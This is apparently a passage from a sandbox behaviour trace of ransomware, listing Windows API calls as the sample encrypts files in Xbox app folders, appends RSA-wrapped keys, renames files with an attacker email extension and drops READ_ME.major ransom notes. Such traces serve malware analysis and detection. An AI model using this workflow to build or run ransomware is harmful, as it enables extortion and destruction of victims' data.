SetFilePointer (in: hFile=0x1394, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.485] WriteFile (in: hFile=0x1394, lpBuffer=0x2f958e0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f958e0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0205.512] SetFilePointer (in: hFile=0x1394, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0205.512] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0205.512] WriteFile (in: hFile=0x1394, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0205.512] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0205.512] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0205.513] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0205.513] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0205.513] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="k4f87j5MACzbkVW2KD7nj2kpntaF+MCGAh7NuGTEptLJROA23oSSFqmgKKn/7BmH\nQ66O00kc5b1zIqIPlt37vEKGVVixxc+ZlIsCuouw8c5OlTPkSZZXFsM/AuEE4A1t\nhxYdWBZ/FNKLw9d3GyBW6/DMdhnCVEanjZ5LIB4I4tKXSu31V+H+HbngVfZTDNi0\nDTKVq00/7wDaEY7H2wfKAVWTwCahlNVEJ/HJ0C8gGBPQ4ezdskEnemMwNQZImu+o\na5GVgWcmJbWOiIzt9Gr4aCZd4qE36YFx7IaL+qT7ieJYmLBXQ3N75AuHfJxdi+Ll\n/LIoie+MrGJT/8zI9gpbKA==\n", pcchString=0x2e3f9a8) returned 1 [0205.513] WriteFile (in: hFile=0x1394, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0205.513] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0205.513] WriteFile (in: hFile=0x1394, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0205.513] CloseHandle (hObject=0x1394) returned 1 [0205.513] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\Settings\\settings.dat.LOG1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxgamecallableui_cw5n1h2txyewy\\settings\\settings.dat.log1"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\Settings\\settings.dat.LOG1.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxgamecallableui_cw5n1h2txyewy\\settings\\settings.dat.log1.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0205.515] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0205.515] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0205.515] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x6688f0 [0205.515] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x136) returned 0x5bd3b8 [0205.515] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxgamecallableui_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1394 [0205.516] GetFileSizeEx (in: hFile=0x1394, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0205.516] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f9b8f8 [0205.516] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f8d8c0 [0205.516] ReadFile (in: hFile=0x1394, lpBuffer=0x2f9b8f8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f9b8f8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0205.517] SetFilePointer (in: hFile=0x1394, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.517] WriteFile (in: hFile=0x1394, lpBuffer=0x2f8d8c0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8d8c0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0205.517] SetFilePointer (in: hFile=0x1394, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0205.518] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0205.518] WriteFile (in: hFile=0x1394, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0205.518] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0205.518] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0205.518] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0205.518] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0205.518] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="R4d10kx0BTUfgsNHu8i6N0ntU6sbavNx70hTyuuhG/4k5gNaMt1yied9T2wYdpwz\nHoVBNjT+ZWwpET3LU4Sa4Zs/wxENfZIGC6BujfqJyZLTYTewu4jcO+yvB2mzp2zT\nVVhrpxAcMvghzvTTQN4UcUJYDKFwga0MTUgmsS14nPU4OzALhaxLClyxsfiZ//gy\naWm+I8UyH001LpMVUBOu8GyBk5EFlFabCgkOySSyUob1/QehYao5gdlhxU/StoE8\nfEjMdPfhU8o42GPu/CM2gSYaSp5WBvcUXMV6MRg5Zqrx1LTIgV4ZM+c4WyRrheIE\n4r+pRtafkeadpdvQRTbOFA==\n", pcchString=0x2e3f9a8) returned 1 [0205.518] WriteFile (in: hFile=0x1394, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0205.518] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0205.518] WriteFile (in: hFile=0x1394, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0205.518] CloseHandle (hObject=0x1394) returned 1 [0205.518] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxgamecallableui_cw5n1h2txyewy\\settings\\settings.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\Settings\\settings.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxgamecallableui_cw5n1h2txyewy\\settings\\settings.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0205.520] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0205.520] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0205.520] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x668fb0 [0205.520] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x136) returned 0x5bd3b8 [0205.520] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxgamecallableui_cw5n1h2txyewy\\settings\\roaming.lock"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1394 [0205.521] GetFileSizeEx (in: hFile=0x1394, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0205.521] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d4b0 [0205.521] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d430 [0205.521] ReadFile (in: hFile=0x1394, lpBuffer=0x59d4b0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0205.521] SetFilePointer (in: hFile=0x1394, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.521] WriteFile (in: hFile=0x1394, lpBuffer=0x59d430*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0205.521] SetFilePointer (in: hFile=0x1394, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0205.521] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0205.521] WriteFile (in: hFile=0x1394, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0205.522] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0205.522] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0205.522] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0205.522] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0205.522] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="U8/ccp9vux7gOUOsWfnyBz4uig+yxhDt0pSHpW6VYHDqHTCB3/dFgWTtkrXzZDyk\n8q21KkCFP3VUhzabu8cYJojL7OSfQnAlQUiz4SK90TFubGNFSZw2HREstK9ugM/l\npqc1AEhF37dGER5xaHeHaa54LslQuCno+4MArtl2soGiZydi2T9upHLTsnt91QPY\nWEXO02m5q01yH9wSBz48GRnzb4ZstVCrnTD16nN5J0PzIG1/CngHxAzMQzHoE+Zj\nnZG2Ms/W188cELDa+4uPSq9j+4aLTSEsX3qlN7xZ1im9H8Yb0oRwSCDdcdQgXpaX\nDJugtRl/GQUDp4aRkr/gbA==\n", pcchString=0x2e3f9a8) returned 1 [0205.522] WriteFile (in: hFile=0x1394, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0205.523] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0205.523] WriteFile (in: hFile=0x1394, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0205.523] CloseHandle (hObject=0x1394) returned 1 [0205.523] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxgamecallableui_cw5n1h2txyewy\\settings\\roaming.lock"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\Settings\\roaming.lock.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxgamecallableui_cw5n1h2txyewy\\settings\\roaming.lock.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0205.525] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\SystemAppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f3e6702, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6f3e6702, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x317521b3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2f858 [0205.525] SetLastError (dwErrCode=0x0) [0205.525] GetLastError () returned 0x0 [0205.525] SetLastError (dwErrCode=0x0) [0205.525] GetLastError () returned 0x0 [0205.525] SetLastError (dwErrCode=0x0) [0205.525] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0205.525] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be9f8 [0205.525] FindNextFileW (in: hFindFile=0x2f2f858, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f3e6702, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6f3e6702, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x317521b3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.526] SetLastError (dwErrCode=0x0) [0205.526] GetLastError () returned 0x0 [0205.526] SetLastError (dwErrCode=0x0) [0205.526] GetLastError () returned 0x0 [0205.526] SetLastError (dwErrCode=0x0) [0205.526] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0205.526] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bebb0 [0205.526] FindNextFileW (in: hFindFile=0x2f2f858, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x317521b3, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x317521b3, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x317521b3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.526] SetLastError (dwErrCode=0x0) [0205.526] GetLastError () returned 0x0 [0205.526] SetLastError (dwErrCode=0x0) [0205.526] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60dae8 [0205.526] SetLastError (dwErrCode=0x0) [0205.526] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f605d0 [0205.526] FindNextFileW (in: hFindFile=0x2f2f858, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x317521b3, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x317521b3, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x317521b3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0205.526] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6643a0 [0205.526] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\TempState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9137e762, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd22d3ee3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x317521b3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2fed8 [0205.526] SetLastError (dwErrCode=0x12) [0205.527] GetLastError () returned 0x12 [0205.527] SetLastError (dwErrCode=0x12) [0205.527] GetLastError () returned 0x12 [0205.527] SetLastError (dwErrCode=0x12) [0205.527] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0205.527] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bebb0 [0205.527] FindNextFileW (in: hFindFile=0x2f2fed8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9137e762, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd22d3ee3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x317521b3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.527] SetLastError (dwErrCode=0x12) [0205.527] GetLastError () returned 0x12 [0205.527] SetLastError (dwErrCode=0x12) [0205.527] GetLastError () returned 0x12 [0205.527] SetLastError (dwErrCode=0x12) [0205.527] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0205.527] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be478 [0205.527] FindNextFileW (in: hFindFile=0x2f2fed8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x317521b3, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x317521b3, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x317521b3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.527] SetLastError (dwErrCode=0x12) [0205.527] GetLastError () returned 0x12 [0205.527] SetLastError (dwErrCode=0x12) [0205.528] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e1d8 [0205.528] SetLastError (dwErrCode=0x12) [0205.528] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f605d0 [0205.528] FindNextFileW (in: hFindFile=0x2f2fed8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x317521b3, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x317521b3, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x317521b3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0205.528] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x666378 [0205.528] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\\AC\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x936165c3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9361c775, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x31810e76, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2f898 [0205.528] SetLastError (dwErrCode=0x12) [0205.528] GetLastError () returned 0x12 [0205.528] SetLastError (dwErrCode=0x12) [0205.528] GetLastError () returned 0x12 [0205.528] SetLastError (dwErrCode=0x12) [0205.528] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0205.528] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be580 [0205.528] FindNextFileW (in: hFindFile=0x2f2f898, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x936165c3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x9361c775, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x31810e76, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.528] SetLastError (dwErrCode=0x12) [0205.528] GetLastError () returned 0x12 [0205.528] SetLastError (dwErrCode=0x12) [0205.528] GetLastError () returned 0x12 [0205.529] SetLastError (dwErrCode=0x12) [0205.529] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0205.529] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be420 [0205.529] FindNextFileW (in: hFindFile=0x2f2f898, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9361a05c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd2398935, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9361a05c, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCache", cAlternateFileName="INETCA~1")) returned 1 [0205.529] SetLastError (dwErrCode=0x12) [0205.529] GetLastError () returned 0x12 [0205.529] SetLastError (dwErrCode=0x12) [0205.529] GetLastError () returned 0x12 [0205.529] SetLastError (dwErrCode=0x12) [0205.529] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f605d0 [0205.529] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f602d8 [0205.529] SetLastError (dwErrCode=0x12) [0205.529] GetLastError () returned 0x12 [0205.529] SetLastError (dwErrCode=0x12) [0205.529] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e678 [0205.529] SetLastError (dwErrCode=0x12) [0205.529] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x6683e0 [0205.529] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\\AC\\INetCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxgameoverlay_8wekyb3d8bbwe\\ac\\inetcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13a0 [0205.530] WriteFile (in: hFile=0x13a0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0205.531] CloseHandle (hObject=0x13a0) returned 1 [0205.531] FindNextFileW (in: hFindFile=0x2f2f898, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x9361b3e5, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd23993e3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9361b3e5, 